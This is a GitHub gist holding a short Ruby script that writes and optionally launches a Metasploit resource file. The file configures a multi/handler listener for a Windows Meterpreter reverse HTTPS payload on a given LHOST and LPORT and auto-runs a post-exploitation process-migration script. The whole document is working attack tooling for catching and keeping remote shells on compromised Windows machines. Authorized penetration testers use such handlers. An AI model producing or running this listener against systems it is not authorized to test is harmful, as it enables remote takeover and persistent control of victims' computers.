Skip to content

Instantly share code, notes, and snippets.

@gabemarshall
Last active August 29, 2015 14:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gabemarshall/03a37d084214e5a2aae1 to your computer and use it in GitHub Desktop.
Save gabemarshall/03a37d084214e5a2aae1 to your computer and use it in GitHub Desktop.
Simple ruby script to generate a metasploit rc file
#!/usr/bin/ruby
def meterpit(lhost, lport)
options = "use multi/handler\n"
options += "set payload windows/meterpreter/reverse_https\n"
options += "set LHOST #{lhost}\nset LPORT #{lport}\n"
options += "set ExitOnSession false\n"
options += "set AutoRunScript post/windows/manage/smart_migration\n"
options += "exploit -j\n"
File.write('/tmp/listen.rc', options)
puts "\nWould you like to start this rc file? (Y/n)"
msf_bool = $stdin.gets.chomp
msf_bool = msf_bool.upcase
puts "rc file written to /tmp/listen.rc"
if msf_bool == 'Y'
system("msfconsole -r /tmp/listen.rc")
else
puts ""
puts options
puts "\n\n Bye!"
end
end
meterpit(ARGV[0], ARGV[1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment